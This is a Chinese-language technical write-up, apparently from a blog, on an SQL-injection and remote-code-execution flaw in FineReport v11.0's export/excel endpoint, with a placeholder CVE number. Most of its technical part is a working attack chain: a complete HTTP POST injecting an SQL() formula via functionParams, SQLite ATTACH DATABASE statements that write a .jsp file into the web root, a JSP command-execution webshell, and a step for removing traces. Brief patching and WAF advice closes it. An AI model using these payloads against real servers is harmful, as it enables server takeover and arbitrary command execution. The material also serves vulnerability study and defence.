本文针对 2025年12月 披露的 帆软 FineReport (v11.0) export/excel 接口存在的 SQL 注入与远程代码执行 (RCE) 漏洞进行深度技术剖析。

该漏洞源于报表引擎在处理大数据集导出请求时,对核心参数解析逻辑的缺陷。攻击者可利用 LargeDatasetExcelExportHandler 中的逻辑漏洞,通过构造恶意的 JSON 和 XML 参数,绕过安全过滤,直接调用底层的 FRParser 表达式引擎。最终,利用帆软内置的 SQLite 数据库特性(如 ATTACH DATABASE),将 SQL 注入升级为任意文件写入,从而获取服务器权限 (GetShell)。

关键词:FineReport漏洞、SQL注入、远程代码执行(RCE)、FRParser、SQLite提权

整体架构流程

漏洞的触发流程涉及从 Web 路由分发到底层表达式解析的完整链路。整体攻击路径如下:

  1. 路由分发:请求命中 com.fr.nx.app.web.controller 中的导出路由。

  2. 处理器初始化LargeDatasetExcelExportHandler#initCreator 被调用。

  3. 参数解析:依次解析 __parameters__ (JSON)、params (XML) 和 functionParams (JSON)。

  4. 表达式注入:恶意 Payload 通过 dealParam 方法进入 var2.evalValue()

  5. 引擎执行FRParser (基于 ANTLR) 解析表达式并执行内置函数。

  6. SQL 执行与 Getshell:恶意 SQL 绕过正则过滤,在 SQLite 中执行写入操作。

技术名词解释

  • FineReport Engine: 帆软报表的核心引擎组件,负责报表的计算、渲染和导出,本次漏洞主要涉及其 fine-report-engine-11.0.jar 包。

  • LargeDatasetExcelExportHandler: 专门用于处理大数据量 Excel 导出的处理器类,是本次漏洞的直接入口点。

  • FRParser: FineReport 的核心表达式解析器。它基于 ANTLR 生成,采用递归下降解析(Recursive Descent Parser)策略,能够解析并执行帆软自定义的公式和函数。

  • SQLite ATTACH: SQLite 数据库的一种特性,允许在一个连接中访问多个数据库文件。攻击者常利用此特性将恶意代码写入到 Web 目录下的新文件中(如 .jsp 文件)。

技术细节

1. 关键代码逻辑分析

漏洞的核心位于 LargeDatasetExcelExportHandler 类的 dealParam 方法中。以下是根据反编译代码还原的关键逻辑片段,展示了漏洞是如何被触发的:

Java

 

// 伪代码:com.fr.nx.app.web.v9.handler.handler.largeds.LargeDatasetExcelExportHandler
public void dealParam(HttpServletRequest req, Calculator calc) {
    // 1. 获取用户传入的 functionParams 参数 (JSON 格式)
    String funcParamsStr = req.getParameter("functionParams");
    JSONObject json = new JSONObject(funcParamsStr);

    // 2. 漏洞点:根据 JSON 内容直接构建表达式并求值
    if (json.has("formula")) {
        // 分支 A:直接实例化 Formula 对象,未做安全过滤
        String formulaStr = json.getString("formula");
        // FRParser 将在此处介入解析,执行任意内置函数
        Object result = calc.evalValue(new Formula(formulaStr));
    } else {
        // 分支 B:参数替换后求值
        String script = json.getString("script");
        // 即使是简单的脚本替换,最终也进入了 evalValue
        calc.evalValue(replaceArgs(script));
    }
}

2. HTTP 攻击 Payload 示例

攻击者通过构造一个特定的 POST 请求,利用 functionParams 注入恶意的帆软公式。

请求示例

HTTP

 

POST /webroot/decision/view/report?op=export&format=excel HTTP/1.1
Host: target-ip:8080
Content-Type: application/x-www-form-urlencoded

# 参数1: 基础参数上下文
__parameters__={"P_ID": "1"}

# 参数2: 必须构造合法的 XML 结构以通过前置解析
&params=<Report><Parameter><Name>test</Name><Value>1</Value></Parameter></Report>

# 参数3: 漏洞触发点,注入 SQL() 函数
# 这里的 SQL() 是帆软内置函数,用于执行数据库语句
# 语法: SQL("数据库连接名", "SQL语句", 列号, 行号)
&functionParams={
    "formula": "SQL(\"finedb\", \"ATTACH DATABASE '/opt/FineReport/webapps/webroot/help/shell.jsp' AS pwn\", 1, 1)"
}

3. SQLite Getshell 代码利用链

由于帆软内置的 finedb 数据库通常是 SQLite,且该数据库文件具有写权限。攻击者可以通过多步注入,利用 SQLite 的 ATTACH 特性写入 Webshell。

Payload 1: 附加数据库(创建文件) 利用 ATTACH 语句在 Web 目录下创建一个新的数据库文件,后缀名为 .jsp

SQL

 

-- SQL Payload
ATTACH DATABASE '/opt/FineReport/webapps/webroot/help/exploit.jsp' AS pwn;

Payload 2: 写入 Webshell 内容 在附加的数据库中建表,并将 JSP 马写入字段中。SQLite 存储数据时会将内容写入文件。

SQL

 

-- SQL Payload
CREATE TABLE pwn.cmd(res text); 
INSERT INTO pwn.cmd VALUES ('<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>');

Payload 3: 清理痕迹(可选) 断开连接,防止文件被锁定。

SQL

 

-- SQL Payload
DETACH DATABASE pwn;

通过依次发送包含上述 Payload 的 HTTP 请求,攻击者即可在服务器上生成 exploit.jsp,随后访问该文件即可执行系统命令。

小结

本次分析的 CVE-2025-XXXX 漏洞展示了在复杂的报表引擎中,表达式解析(Expression Parsing)SQL 执行 混合使用时产生的严重安全风险。

  • 漏洞本质:用户可控的输入(functionParams)未经过严格的语义校验,直接进入了强大的表达式引擎 FRParser,导致了表达式注入,进而引发 SQL 注入。

  • 防御难点:传统的 SQL 注入过滤器无法识别经过表达式引擎变形的 Payload。

  • 建议

    1. 补丁升级:更新 FineReport Engine 至最新安全版本。

    2. WAF 加固:重点监控 export/excel 接口,拦截包含 ATTACHFormulafunctionParams 等关键词的异常请求。

    3. 最小权限:限制应用程序对 Web 目录的写入权限,阻断 SQLite 写入 Webshell 的路径。

 

 

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐